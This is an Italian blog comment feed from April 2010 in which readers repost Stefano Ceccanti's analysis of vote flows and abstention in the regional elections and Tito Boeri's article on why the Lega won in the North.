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	<title>Commenti a: Chi ha vinto e chi ha perso: analisi dei flussi elettorali</title>
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	<description>il coraggio di cambiare</description>
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		<title>Di: piergiorgiogawronski</title>
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		<dc:creator>piergiorgiogawronski</dc:creator>
		<pubDate>Thu, 08 Apr 2010 22:12:44 +0000</pubDate>
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		<description>Interessante anche l&#039;analisi di Stefano Ceccanti
DECISIVITÀ DEGLI ELETTORI DI CENTRO
8 aprile 2010


1. Il sorpasso in discesa

1.1 La vittoria dell&#039;astensione

Per evitare impressioni fallaci, spesso fondate sulle sole percentuali dei voti validi, l&#039;attenzione va concentrata sui trend complessivi deducibili dai numeri assoluti, corrispondenti a persone in carne ed ossa, a cominciare dai mutamenti della partecipazione elettorale. Riprendo qui i principali elementi dell&#039;analisi e, soprattutto, della tabella di Roberto D&#039;Alimonte su &quot;Il Sole 24 Ore&quot; del 4 aprile scorso che ha appunto il merito di illuminarci sul quadro complessivo.
Il totale dei voti validi nelle Regionali 2010 è stato di 24 milioni e 867 mila rispetto ai 27 milioni e 423 mila di soli 5 anni prima. 2 milioni e 558 mila in meno, che equivalgono a un 9,3% in meno sulla base dei voti validi 2005 o, se vogliamo invece prendere a riferimento gli elettori di questa volta (40 milioni 832 mila) si tratta del 6,3%. Se vogliamo fare una comparazione con le europee, dove è possibile dare solo un voto di lista, dobbiamo depurare il dato dai voti ai soli Presidenti, che sono scesi in modo significativo,
quasi di un terzo: stavolta 2 milioni e 427 mila hanno votato solo il Presidente, l&#039;altra volta erano stati 3 milioni e 335 mila. I voti validi di lista sono stati 22 milioni e 440 mila, mentre alle europee erano stati 25 milioni e 904 mila, quasi 3 milioni e mezzo di più.

1.2 Il Lazio e il Piemonte vinti col sorpasso in discesa

Di fronte a questi numeri non c&#039;è da stupirsi se la vittoria nelle due regioni realmente contese, Lazio e Piemonte (giacché gli altri due casi di alternanza, Calabria e Campania, erano di fatto ipotecati dalla performance negativa, riconosciuta generalmente, delle due amministrazioni uscenti, che poteva essere solo temperata in Campania dal cambiamento di candidato Presidente) sia avvenuta con un sorpasso in discesa, cioè con meno voti per Cota e Polverini di quelli che avevano ottenuto, perdendo, Ghigo e Storace nel 2000.

1.3 Pdl e Pd puniti in modo uguale rispetto alle europee, l&#039;Udc ancora di più
Rispetto al riferimento più immediato, le Europee 2009, la fuga dalle urne riguarda tutti in egual misura: le forze schierate stabilmente nel centrodestra scendono da 12 milioni 425 mila a 10 823 mila, ovvero di 1 milione 602 mila, il 12,9% della propria base; quelle nel centrosinistra da 11 milioni 288 mila a 9 milioni 711 mila, ovvero 1 milione e 577 mila, il 14% della base; l&#039;Udc, la principale forza non schierata in modo univoco, cala da 1 milione 613 mila a 1 milione 248 mila, cioè di 365 mila, addirittura il 22,6% della propria quota di
partenza.

1.4 Nulla di scontato per le Politiche, ma per elezioni di &quot;mid term&quot;, ma era lecito attendersi di meglio per l&#039;opposizione

Nulla è scontato per le future elezioni politiche: quando ai 24 milioni 867 mila voti validi di oggi se ne aggiungeranno vari altri; anche se non si dovesse tornare agli oltre 30 del 2008, difficile che in quell&#039;occasione decisiva si possa scendere sotto i 28. Quasi un 10% per cento in più di voti validi quando lo scarto tra i poli resta di 5 punti. Anche se il centrodestra ha goduto della migliore performance della Lega, che comunque perde anch&#039;essa 117 mila voti rispetto alle europee e che difficilmente può ripetersi alle Politiche quando torna in scena l&#039;elettorato meno militante, tuttavia il segnale è obiettivamente preoccupante per il centrosinistra: a due anni dalle Politiche si dovrebbe essere dentro la logica del &quot;mid term&quot;, per la quale l&#039;elettorato più scontento e quindi meno mobilitabile dovrebbe essere quello delle forze al Governo.
Se rispetto alle Politiche è inevitabile un ridimensionamento dei partiti a vocazione maggioritaria che poi tendono a rafforzarsi in vista delle successive Politiche, è però anomalo a due anni dal 2008 che, come segnala l&#039;istituto Cattaneo nel puntuale raffronto 2008-2009- 2010, il Pd veda fuggire il 43,3% dei suoi voti delle Politiche, mentre il Pdl il 40,3%.

2. La riaffermata decisività degli elettori di centro

2.1 Il declino dei partiti di centro che rende velleitario lo smantellamento del bipolarismo

Il sensibile ridimensionamento dell&#039;Udc, che rende non decisiva la collocazione di tale partito nelle future alleanze, dovuta in larga parte a una scelta di alleanze a scacchiera poco comprensibile per elezioni contestuali in 13 regioni, più assimilabili alle politiche che non alle amministrative, tende a precludere lo scenario di rimessa in discussione del bipolarismo attraverso il cosiddetto sistema elettorale tedesco, inteso &quot;all&#039;italiana&quot;, cioè come sganciato dalle convenzioni costituzionali che in quel Paese attribuiscono la guida del Governo all&#039;uno o all&#039;altro dei segretari dei due partiti a vocazione maggioritaria e che portano altresì alla dichiarazione preventiva delle alleanze.
Sia che si voglia ragionare a regole invariate, sia che si immaginino riforme elettorali e istituzionali, in questo quadro che esclude la regressione proporzionalista, restano quindi decisivi gli elettori di centro ed in particolare la capacità di offerta politica dei due partiti a vocazione maggioritaria, Pdl e Pd.

2.2 Il centrodestra: la Lega meno decisiva per le Politiche 

Nel centrodestra, infatti, nonostante la crescita nelle Regioni rosse, la Lega non può strutturalmente espandere più di tanto i consensi, una volta che si espanda la base dei voti validi, anche per la impossibilità di una presenza significativa nel Centro-Sud. In elezioni ad alta astensione essa funziona come cuscinetto dove può arrestarsi anche una certa quota degli elettori Pdl invece di uscire dall&#039;area del voto valido, ma ciò si ripete in modo molto minore
delle Politiche. Il Pdl ha nella Lega un junior partner significativo e complementare, la cui crescita è compatibile con un lavoro comune nella maggioranza e nel Governo, ma ciò non gli garantisce un&#039;ipoteca sul voto delle Politiche.

2.3 Gli alleati del Pd si confermano deboli

Nel centrosinistra non è solo il ridimensionamento secco dell&#039;Udc a mettere in discussione lo slittamento che vi era stato, col successo di Bersani, verso le nostalgie di coalizioni larghe a programma inevitabilmente minimo, essendo con tutta evidenza le due grandezze inversamente proporzionali: più ci si propone una coalizione omnicomprensiva meno si può essere rigorosi sul programma. Vi è stato anche un ridimensionamento secco della forza che
più ha puntato sull&#039;antiberlusconismo: l&#039;Idv di Di Pietro apparentemente cresce in modo significativo, se si considera il 2005 quando era un soggetto ancora molto fluido, ma rispetto alle europee scende da 2 milioni 21 mila a 1 milione 565 mila, cioè di 465 mila, il 23% della propria base. Con un anno in più di Governo Berlusconi, l&#039;opinione pubblica di opposizione, nonostante che fosse stata alimentata da vari media, vecchi e nuovi, e da qualche manifestazione di piazza, non ha premiato in misura maggiore gli oppositori più intransigenti. 
Se noi leggiamo in modo combinato i due fenomeni, crescita dell&#039;astensionismo in proporzioni uguali alla maggioranza e mancata crescita dell&#039;opposizione intransigente, ne ricaviamo la chiara conclusione che il terreno della radicalizzazione personale, morale, non incide minimamente fuori dai capoluoghi, spinge parte del voto di centrosinistra verso l&#039;astensione o, in misura minoritaria, verso liste di protesta anti-sistema, secondo il ben noto schema per cui &quot;c&#039;è sempre qualcuno più puro che ti epura&quot;. Anche le liste della sinistra radicale, le quali nelle Politiche non potranno che scendere, appaiono obiettivamente residuali: scendono da 1 milione 727 mila voti delle europee a 1 milione 435 mila, ovvero di 292 mila, il 16,9%, ma tale dato di ridimensionamento è per di più edulcorato in modo decisivo dal peso delle vicende pugliesi col traino immediato della candidatura Vendola, dove
invece il differenziale è stato positivo di 52 mila voti. In altri termini la Sinistra si espande dove la sua differenza politico-programmatica rispetto al Pd è pressoché nulla. Va fatta poi una postilla per i Radicali, fermatisi come lista allo 0,6%. L&#039;istituto Cattaneo ha fatto rilevare che rispetto all&#039;incremento medio dell&#039;astensionismo dell&#039;8%, la punta massima verificatasi nel Lazio (11,9%, ma in Provincia di Roma addirittura il 13%) non può essere ritenuta fisiologica, tenendo altresì conto dell&#039;incertezza del risultato che in genere stimola alla partecipazione. Non a caso l&#039;unico altro incremento a due cifre ha riguardato la Toscana, con il 10,5%. Dal momento che nel Lazio gli equilibri tra i due schieramenti sono rimasti sostanzialmente inalterati rispetto alle europee, il Cattaneo ha ragionevolmente ipotizzato che siano confluiti due fattori che si sono equilibrati a vicenda, l&#039;assenza della lista Pdl a Roma,
che è visibile nell&#039;incremento aggiuntivo nella provincia della Capitale e il disagio di una parte dell&#039;elettorato di centrosinistra che risaliva certo anche alla vicenda Marrazzo, ma che la candidatura Bonino e le modalità confuse con cui vi si è pervenuti non hanno attutito. La performance dei due candidati esterni al Pd, Vendola e Bonino, il primo scelto con le primarie e la seconda no, nessuno senza problemi per la precedente gestione (pur non essendo i
problemi della giunta pugliese comparabili a quelli del Presidente Marrazzo) non è quindi comparabile e ciò lo si vede anche nei voti solo Presidente, che migliorano nettamente il dato di Vendola e lasciano percentualmente invariato quello di Bonino, nonché nel voto della lista di riferimento (Sinistra e Libertà in Puglia al 9,74%, Lista Pannella-Bonino nel Lazio al 3,3%).

2.4 Il Pd di ritorno alla vocazione maggioritaria o per scelta o comunque per necessità

Il Pd ha quindi uno junior partner consistente, l&#039;Idv, ma non tale da espandersi più di tanto ai suoi danni, e un&#039;area alla sua sinistra che è forte solo quando è vicina ad esso: si trova quindi nelle condizioni ideali, senza particolari vincoli coalizionali, per riscoprire in forma aggiornata la cosiddetta vocazione maggioritaria e coinvolgere gli elettori di centro in una visione positiva del paese, alternativa a quella espressa, senza particolari conseguenze in
termini di policies, dalla maggioranza. Tra le due alternative concettualizzate da Ricolfi, De Giovanni ed altri coi termini &quot;emergenza democratica&quot; o &quot;modernizzazione tradita&quot;, la prima che porta a modelli tipo Unione e la seconda al rilancio della &quot;vocazione maggioritaria&quot;, per scelta o comunque per necessità il voto indirizzerebbe il Pd a tutta marcia verso la seconda.
Sapendo che ci sono tre anni di tempo, ma che i nodi emergeranno subito giacché la maggioranza dovrà rapidamente trovare una &quot;mission&quot; per la seconda parte della legislatura e tutto spinge a fargliela trovare senza conflitti troppo lunghi. A quel punto dire di sì subito e senza esitazioni alla flexicurity di Ichino e al ritorno ai collegi uninominali maggioritari, per parlare di due scelte esemplari tormentate a causa di timori per alleati e poteri di veto interni
ed esterni, dovrebbe essere un dovere morale e politico</description>
		<content:encoded><![CDATA[<p>Interessante anche l&#8217;analisi di Stefano Ceccanti<br />
DECISIVITÀ DEGLI ELETTORI DI CENTRO<br />
8 aprile 2010</p>
<p>1. Il sorpasso in discesa</p>
<p>1.1 La vittoria dell&#8217;astensione</p>
<p>Per evitare impressioni fallaci, spesso fondate sulle sole percentuali dei voti validi, l&#8217;attenzione va concentrata sui trend complessivi deducibili dai numeri assoluti, corrispondenti a persone in carne ed ossa, a cominciare dai mutamenti della partecipazione elettorale. Riprendo qui i principali elementi dell&#8217;analisi e, soprattutto, della tabella di Roberto D&#8217;Alimonte su &#8220;Il Sole 24 Ore&#8221; del 4 aprile scorso che ha appunto il merito di illuminarci sul quadro complessivo.<br />
Il totale dei voti validi nelle Regionali 2010 è stato di 24 milioni e 867 mila rispetto ai 27 milioni e 423 mila di soli 5 anni prima. 2 milioni e 558 mila in meno, che equivalgono a un 9,3% in meno sulla base dei voti validi 2005 o, se vogliamo invece prendere a riferimento gli elettori di questa volta (40 milioni 832 mila) si tratta del 6,3%. Se vogliamo fare una comparazione con le europee, dove è possibile dare solo un voto di lista, dobbiamo depurare il dato dai voti ai soli Presidenti, che sono scesi in modo significativo,<br />
quasi di un terzo: stavolta 2 milioni e 427 mila hanno votato solo il Presidente, l&#8217;altra volta erano stati 3 milioni e 335 mila. I voti validi di lista sono stati 22 milioni e 440 mila, mentre alle europee erano stati 25 milioni e 904 mila, quasi 3 milioni e mezzo di più.</p>
<p>1.2 Il Lazio e il Piemonte vinti col sorpasso in discesa</p>
<p>Di fronte a questi numeri non c&#8217;è da stupirsi se la vittoria nelle due regioni realmente contese, Lazio e Piemonte (giacché gli altri due casi di alternanza, Calabria e Campania, erano di fatto ipotecati dalla performance negativa, riconosciuta generalmente, delle due amministrazioni uscenti, che poteva essere solo temperata in Campania dal cambiamento di candidato Presidente) sia avvenuta con un sorpasso in discesa, cioè con meno voti per Cota e Polverini di quelli che avevano ottenuto, perdendo, Ghigo e Storace nel 2000.</p>
<p>1.3 Pdl e Pd puniti in modo uguale rispetto alle europee, l&#8217;Udc ancora di più<br />
Rispetto al riferimento più immediato, le Europee 2009, la fuga dalle urne riguarda tutti in egual misura: le forze schierate stabilmente nel centrodestra scendono da 12 milioni 425 mila a 10 823 mila, ovvero di 1 milione 602 mila, il 12,9% della propria base; quelle nel centrosinistra da 11 milioni 288 mila a 9 milioni 711 mila, ovvero 1 milione e 577 mila, il 14% della base; l&#8217;Udc, la principale forza non schierata in modo univoco, cala da 1 milione 613 mila a 1 milione 248 mila, cioè di 365 mila, addirittura il 22,6% della propria quota di<br />
partenza.</p>
<p>1.4 Nulla di scontato per le Politiche, ma per elezioni di &#8220;mid term&#8221;, ma era lecito attendersi di meglio per l&#8217;opposizione</p>
<p>Nulla è scontato per le future elezioni politiche: quando ai 24 milioni 867 mila voti validi di oggi se ne aggiungeranno vari altri; anche se non si dovesse tornare agli oltre 30 del 2008, difficile che in quell&#8217;occasione decisiva si possa scendere sotto i 28. Quasi un 10% per cento in più di voti validi quando lo scarto tra i poli resta di 5 punti. Anche se il centrodestra ha goduto della migliore performance della Lega, che comunque perde anch&#8217;essa 117 mila voti rispetto alle europee e che difficilmente può ripetersi alle Politiche quando torna in scena l&#8217;elettorato meno militante, tuttavia il segnale è obiettivamente preoccupante per il centrosinistra: a due anni dalle Politiche si dovrebbe essere dentro la logica del &#8220;mid term&#8221;, per la quale l&#8217;elettorato più scontento e quindi meno mobilitabile dovrebbe essere quello delle forze al Governo.<br />
Se rispetto alle Politiche è inevitabile un ridimensionamento dei partiti a vocazione maggioritaria che poi tendono a rafforzarsi in vista delle successive Politiche, è però anomalo a due anni dal 2008 che, come segnala l&#8217;istituto Cattaneo nel puntuale raffronto 2008-2009- 2010, il Pd veda fuggire il 43,3% dei suoi voti delle Politiche, mentre il Pdl il 40,3%.</p>
<p>2. La riaffermata decisività degli elettori di centro</p>
<p>2.1 Il declino dei partiti di centro che rende velleitario lo smantellamento del bipolarismo</p>
<p>Il sensibile ridimensionamento dell&#8217;Udc, che rende non decisiva la collocazione di tale partito nelle future alleanze, dovuta in larga parte a una scelta di alleanze a scacchiera poco comprensibile per elezioni contestuali in 13 regioni, più assimilabili alle politiche che non alle amministrative, tende a precludere lo scenario di rimessa in discussione del bipolarismo attraverso il cosiddetto sistema elettorale tedesco, inteso &#8220;all&#8217;italiana&#8221;, cioè come sganciato dalle convenzioni costituzionali che in quel Paese attribuiscono la guida del Governo all&#8217;uno o all&#8217;altro dei segretari dei due partiti a vocazione maggioritaria e che portano altresì alla dichiarazione preventiva delle alleanze.<br />
Sia che si voglia ragionare a regole invariate, sia che si immaginino riforme elettorali e istituzionali, in questo quadro che esclude la regressione proporzionalista, restano quindi decisivi gli elettori di centro ed in particolare la capacità di offerta politica dei due partiti a vocazione maggioritaria, Pdl e Pd.</p>
<p>2.2 Il centrodestra: la Lega meno decisiva per le Politiche </p>
<p>Nel centrodestra, infatti, nonostante la crescita nelle Regioni rosse, la Lega non può strutturalmente espandere più di tanto i consensi, una volta che si espanda la base dei voti validi, anche per la impossibilità di una presenza significativa nel Centro-Sud. In elezioni ad alta astensione essa funziona come cuscinetto dove può arrestarsi anche una certa quota degli elettori Pdl invece di uscire dall&#8217;area del voto valido, ma ciò si ripete in modo molto minore<br />
delle Politiche. Il Pdl ha nella Lega un junior partner significativo e complementare, la cui crescita è compatibile con un lavoro comune nella maggioranza e nel Governo, ma ciò non gli garantisce un&#8217;ipoteca sul voto delle Politiche.</p>
<p>2.3 Gli alleati del Pd si confermano deboli</p>
<p>Nel centrosinistra non è solo il ridimensionamento secco dell&#8217;Udc a mettere in discussione lo slittamento che vi era stato, col successo di Bersani, verso le nostalgie di coalizioni larghe a programma inevitabilmente minimo, essendo con tutta evidenza le due grandezze inversamente proporzionali: più ci si propone una coalizione omnicomprensiva meno si può essere rigorosi sul programma. Vi è stato anche un ridimensionamento secco della forza che<br />
più ha puntato sull&#8217;antiberlusconismo: l&#8217;Idv di Di Pietro apparentemente cresce in modo significativo, se si considera il 2005 quando era un soggetto ancora molto fluido, ma rispetto alle europee scende da 2 milioni 21 mila a 1 milione 565 mila, cioè di 465 mila, il 23% della propria base. Con un anno in più di Governo Berlusconi, l&#8217;opinione pubblica di opposizione, nonostante che fosse stata alimentata da vari media, vecchi e nuovi, e da qualche manifestazione di piazza, non ha premiato in misura maggiore gli oppositori più intransigenti.<br />
Se noi leggiamo in modo combinato i due fenomeni, crescita dell&#8217;astensionismo in proporzioni uguali alla maggioranza e mancata crescita dell&#8217;opposizione intransigente, ne ricaviamo la chiara conclusione che il terreno della radicalizzazione personale, morale, non incide minimamente fuori dai capoluoghi, spinge parte del voto di centrosinistra verso l&#8217;astensione o, in misura minoritaria, verso liste di protesta anti-sistema, secondo il ben noto schema per cui &#8220;c&#8217;è sempre qualcuno più puro che ti epura&#8221;. Anche le liste della sinistra radicale, le quali nelle Politiche non potranno che scendere, appaiono obiettivamente residuali: scendono da 1 milione 727 mila voti delle europee a 1 milione 435 mila, ovvero di 292 mila, il 16,9%, ma tale dato di ridimensionamento è per di più edulcorato in modo decisivo dal peso delle vicende pugliesi col traino immediato della candidatura Vendola, dove<br />
invece il differenziale è stato positivo di 52 mila voti. In altri termini la Sinistra si espande dove la sua differenza politico-programmatica rispetto al Pd è pressoché nulla. Va fatta poi una postilla per i Radicali, fermatisi come lista allo 0,6%. L&#8217;istituto Cattaneo ha fatto rilevare che rispetto all&#8217;incremento medio dell&#8217;astensionismo dell&#8217;8%, la punta massima verificatasi nel Lazio (11,9%, ma in Provincia di Roma addirittura il 13%) non può essere ritenuta fisiologica, tenendo altresì conto dell&#8217;incertezza del risultato che in genere stimola alla partecipazione. Non a caso l&#8217;unico altro incremento a due cifre ha riguardato la Toscana, con il 10,5%. Dal momento che nel Lazio gli equilibri tra i due schieramenti sono rimasti sostanzialmente inalterati rispetto alle europee, il Cattaneo ha ragionevolmente ipotizzato che siano confluiti due fattori che si sono equilibrati a vicenda, l&#8217;assenza della lista Pdl a Roma,<br />
che è visibile nell&#8217;incremento aggiuntivo nella provincia della Capitale e il disagio di una parte dell&#8217;elettorato di centrosinistra che risaliva certo anche alla vicenda Marrazzo, ma che la candidatura Bonino e le modalità confuse con cui vi si è pervenuti non hanno attutito. La performance dei due candidati esterni al Pd, Vendola e Bonino, il primo scelto con le primarie e la seconda no, nessuno senza problemi per la precedente gestione (pur non essendo i<br />
problemi della giunta pugliese comparabili a quelli del Presidente Marrazzo) non è quindi comparabile e ciò lo si vede anche nei voti solo Presidente, che migliorano nettamente il dato di Vendola e lasciano percentualmente invariato quello di Bonino, nonché nel voto della lista di riferimento (Sinistra e Libertà in Puglia al 9,74%, Lista Pannella-Bonino nel Lazio al 3,3%).</p>
<p>2.4 Il Pd di ritorno alla vocazione maggioritaria o per scelta o comunque per necessità</p>
<p>Il Pd ha quindi uno junior partner consistente, l&#8217;Idv, ma non tale da espandersi più di tanto ai suoi danni, e un&#8217;area alla sua sinistra che è forte solo quando è vicina ad esso: si trova quindi nelle condizioni ideali, senza particolari vincoli coalizionali, per riscoprire in forma aggiornata la cosiddetta vocazione maggioritaria e coinvolgere gli elettori di centro in una visione positiva del paese, alternativa a quella espressa, senza particolari conseguenze in<br />
termini di policies, dalla maggioranza. Tra le due alternative concettualizzate da Ricolfi, De Giovanni ed altri coi termini &#8220;emergenza democratica&#8221; o &#8220;modernizzazione tradita&#8221;, la prima che porta a modelli tipo Unione e la seconda al rilancio della &#8220;vocazione maggioritaria&#8221;, per scelta o comunque per necessità il voto indirizzerebbe il Pd a tutta marcia verso la seconda.<br />
Sapendo che ci sono tre anni di tempo, ma che i nodi emergeranno subito giacché la maggioranza dovrà rapidamente trovare una &#8220;mission&#8221; per la seconda parte della legislatura e tutto spinge a fargliela trovare senza conflitti troppo lunghi. A quel punto dire di sì subito e senza esitazioni alla flexicurity di Ichino e al ritorno ai collegi uninominali maggioritari, per parlare di due scelte esemplari tormentate a causa di timori per alleati e poteri di veto interni<br />
ed esterni, dovrebbe essere un dovere morale e politico</p>
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		<title>Di: Paolo</title>
		<link>http://www.piergiorgiogawronski.com/chi-ha-vinto-e-chi-ha-perso-analisi-dei-flussi-elettorali/comment-page-1/#comment-221</link>
		<dc:creator>Paolo</dc:creator>
		<pubDate>Wed, 07 Apr 2010 13:19:59 +0000</pubDate>
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		<description>“Aiuti alle imprese e scudi fiscali, così il Carroccio conquista il Nord”, 
di Tito Boeri

Come mai il mondo dei piccoli imprenditori, dei lavoratori autonomi e degli artigiani che, secondo le indagini del Corriere della Sera doveva essere sul piede di guerra, ha tributato un plebiscito alla Lega? Un partito che ha sostenuto un governo imbelle di fronte alla crisi più pesante del dopoguerra, che ha assistito alla distruzione di più di 300.000 lavori autonomi, a un incremento del 16 per cento del numero di fallimenti di piccole imprese.
Un partito che ha lasciato aumentare ulteriormente la pressione fiscale. Come ha fatto allora la Lega a ottenere percentuali bulgare nel Trevigiano e nel Vicentino? Ci sono almeno tre spiegazioni.
Prima spiegazione: leggo in molti commenti sul dopo voto che d´ora in poi la Lega sarà determinante nell´azione di Governo, ma la verità e che ha già pesato tantissimo sulla politica economica dell´esecutivo. Ha già strappato molte concessioni per i gruppi da lei rappresentati. La Cassa Integrazione in deroga, pagata da tutti i contribuenti e non dalle imprese ed erogata con discrezionalità quasi totale della politica, è, dopotutto, un´invenzione della Lega. Ha dato più risorse al tessile della bergamasca che a molte altre aziende che avevano altrettanto bisogno di aiuto (e un futuro meno improbabile) in altre parti del paese. Nelle province dove la Lega governava, vi è stato un ricorso massiccio a questo strumento: Brescia, ad esempio, ha raccolto il 20 per cento dei fondi stanziati in Lombardia quando il suo peso sull´occupazione della Regione supera di poco il 10 per cento. Ma ci sono tanti altri trasferimenti occulti, di cui non si ha traccia. Il fatto è che il Governo ha aperto in questa legislatura tanti piccoli rubinetti discrezionali, tutti di piccola entità, ma in gran parte gestiti direttamente dai politici locali che hanno potuto così farsi belli di fronte agli elettori. È stato fatto tutto fuori dalla Finanziaria. Nel 2009 ben cinque decreti, che hanno mobilitato risorse per 16 miliardi, un punto di pil. Non facendo parte della legge di bilancio, non potevano alterare i saldi, cambiavano solo la composizione della spesa o delle entrate. Ma sono serviti eccome per farsi riconoscere da chi beneficiava di un sussidio, anche se magari ciò che gli veniva dato con una mano veniva poi tolto con l´altra.
La seconda spiegazione è che la pressione fiscale è aumentata in modo tutt´altro che uniforme e permettendo a molte piccole imprese di mettersi al riparo da futuri accertamenti del fisco. Si è proceduto allo smantellamento di strumenti di prevenzione della micro-evasione (ad esempio l´obbligo di allegare alla dichiarazione Iva gli elenchi clienti/fornitori), sono state abolite le limitazioni nell´uso di contanti e di assegni; la tracciabilità dei pagamenti e la tenuta da parte dei professionisti di conti correnti dedicati. Operazioni tutte molto popolari. Alle piccole imprese dei “distretti industriali” (ovviamente definiti dalla politica) è stata anche offerta la possibilità di concordare, in anticipo, per tre anni, le imposte dovute, anche per i tributi locali, specificando che «in caso di osservanza del concordato i controlli sono eseguiti unicamente a scopo di monitoraggio». E poi c´è stato lo scudo fiscale il cui dato più eloquente è l´altissimo numero di aderenti (più di 200.000) per importi relativamente limitati (attorno ai 450.000 euro a testa). Insomma, tanti piccoli scudi.
La terza spiegazione è che paradossalmente le prime elezioni con campagna elettorale sul web hanno mostrato come non si possa competere in politica facendo a meno di un partito. L´astensionismo ha esaltato l´unico partito oggi esistente al Nord. A trionfare non è stato l´amore, ma il partito che ha portato i propri militanti a votare. Un partito sempre più di potere al Nordest e Nordovest e ancora di lotta in Emilia, nella bassa Padania e in Toscana dove non a caso è più forte dove sono più numerose le comunità di immigrati cinesi. Nei suoi territori storici la Lega occupa e gestisce, con metodo e continuità. Ci vuole un partito per farlo, per selezionare e formare una classe dirigente locale e per far sì che questa presìdi e allarghi il suo raggio di influenza cooptando persone che obbediscono allo stesso capo. La Lega sceglie i suoi esponenti nei borghi, richiede l´identificazione in una comunità locale e l´accettazione da parte di questa per essere riconosciuto come militante. Poi per diventare amministratori locali e fare carriera bisogna fare la gavetta e offrire prove di fedeltà. Non contano invece le apparenze, neanche quelle televisive. La Lega in tutti questi anni è il partito che ha portato più giovani in Parlamento e nei consigli comunali e regionali. Si dice che i giovani trovino più spazio nella Lega perché danno meno problemi, rispettano le gerarchie. In effetti, gli eletti della Lega (sia in Parlamento che nelle amministrazioni locali) sono poco istruiti, difficilmente riescono ad imporre il loro punto di vista. Ma gli elettori della Lega non guardano tanto alle qualità dei singoli. Conta che rappresentino il loro territorio. Vale la targa più che il curriculum.
È una forma partito difficilmente esportabile. Perché richiede un capo carismatico. E perché è da piccolo centro, dove è possibile avere un rapporto diretto con l´elettorato e non c´è bisogno dei media per raccogliere consensi. Al posto dei grandi potentati locali degli altri partiti, ci sono tanti “piccoli politici” di borgo con scarso potere contrattuale nel partito, per lo più sconosciuti al grande pubblico, che hanno il pregio di stare in mezzo alla gente, come dovrebbero fare tutti i bravi sindaci. Nel voto dello scorso fine settimana questi borghi hanno come cinto d´assedio i capoluoghi di regione. Una volta si diceva che solo un torinese avrebbe potuto governare il Piemonte. Da lunedì sappiamo che non è più così. E chissà se avremo presto anche un varesino alla guida di Milano.
Ora che governa in prima persona un sesto del Paese, la Lega dovrà per forza di cose cambiare il suo rapporto con l´elettorato. Dovrà anche trovare una sintesi fra particolarismi di cui sin qui non è stata capace (basti pensare a come non ha saputo gestire il dualismo fra Malpensa e Linate). E soprattutto non avrà più scuse per rimandare il federalismo, quello vero, non quello dei borghi medioevali che cingono d´assedio le grandi città, ma quello che si gioca sull´asse Nord-Sud e che è da sempre nei proclami della Lega. È una prova difficile perché la Lega sin qui non ha saputo governare in grande. Proprio per questo, chi oggi intende contrastare il dominio della Lega dovrebbe compiere il passo opposto, organizzarsi per operare come partito anche sulla piccola scala, lontano dai riflettori, dimostrando come sia possibile affrontare le crisi locali senza le deroghe e le eccezioni. La prima sfida sarà proprio quella dell´uscita dalla Cassa Integrazione in deroga.
La Repubblica 04.04.10</description>
		<content:encoded><![CDATA[<p>“Aiuti alle imprese e scudi fiscali, così il Carroccio conquista il Nord”,<br />
di Tito Boeri</p>
<p>Come mai il mondo dei piccoli imprenditori, dei lavoratori autonomi e degli artigiani che, secondo le indagini del Corriere della Sera doveva essere sul piede di guerra, ha tributato un plebiscito alla Lega? Un partito che ha sostenuto un governo imbelle di fronte alla crisi più pesante del dopoguerra, che ha assistito alla distruzione di più di 300.000 lavori autonomi, a un incremento del 16 per cento del numero di fallimenti di piccole imprese.<br />
Un partito che ha lasciato aumentare ulteriormente la pressione fiscale. Come ha fatto allora la Lega a ottenere percentuali bulgare nel Trevigiano e nel Vicentino? Ci sono almeno tre spiegazioni.<br />
Prima spiegazione: leggo in molti commenti sul dopo voto che d´ora in poi la Lega sarà determinante nell´azione di Governo, ma la verità e che ha già pesato tantissimo sulla politica economica dell´esecutivo. Ha già strappato molte concessioni per i gruppi da lei rappresentati. La Cassa Integrazione in deroga, pagata da tutti i contribuenti e non dalle imprese ed erogata con discrezionalità quasi totale della politica, è, dopotutto, un´invenzione della Lega. Ha dato più risorse al tessile della bergamasca che a molte altre aziende che avevano altrettanto bisogno di aiuto (e un futuro meno improbabile) in altre parti del paese. Nelle province dove la Lega governava, vi è stato un ricorso massiccio a questo strumento: Brescia, ad esempio, ha raccolto il 20 per cento dei fondi stanziati in Lombardia quando il suo peso sull´occupazione della Regione supera di poco il 10 per cento. Ma ci sono tanti altri trasferimenti occulti, di cui non si ha traccia. Il fatto è che il Governo ha aperto in questa legislatura tanti piccoli rubinetti discrezionali, tutti di piccola entità, ma in gran parte gestiti direttamente dai politici locali che hanno potuto così farsi belli di fronte agli elettori. È stato fatto tutto fuori dalla Finanziaria. Nel 2009 ben cinque decreti, che hanno mobilitato risorse per 16 miliardi, un punto di pil. Non facendo parte della legge di bilancio, non potevano alterare i saldi, cambiavano solo la composizione della spesa o delle entrate. Ma sono serviti eccome per farsi riconoscere da chi beneficiava di un sussidio, anche se magari ciò che gli veniva dato con una mano veniva poi tolto con l´altra.<br />
La seconda spiegazione è che la pressione fiscale è aumentata in modo tutt´altro che uniforme e permettendo a molte piccole imprese di mettersi al riparo da futuri accertamenti del fisco. Si è proceduto allo smantellamento di strumenti di prevenzione della micro-evasione (ad esempio l´obbligo di allegare alla dichiarazione Iva gli elenchi clienti/fornitori), sono state abolite le limitazioni nell´uso di contanti e di assegni; la tracciabilità dei pagamenti e la tenuta da parte dei professionisti di conti correnti dedicati. Operazioni tutte molto popolari. Alle piccole imprese dei “distretti industriali” (ovviamente definiti dalla politica) è stata anche offerta la possibilità di concordare, in anticipo, per tre anni, le imposte dovute, anche per i tributi locali, specificando che «in caso di osservanza del concordato i controlli sono eseguiti unicamente a scopo di monitoraggio». E poi c´è stato lo scudo fiscale il cui dato più eloquente è l´altissimo numero di aderenti (più di 200.000) per importi relativamente limitati (attorno ai 450.000 euro a testa). Insomma, tanti piccoli scudi.<br />
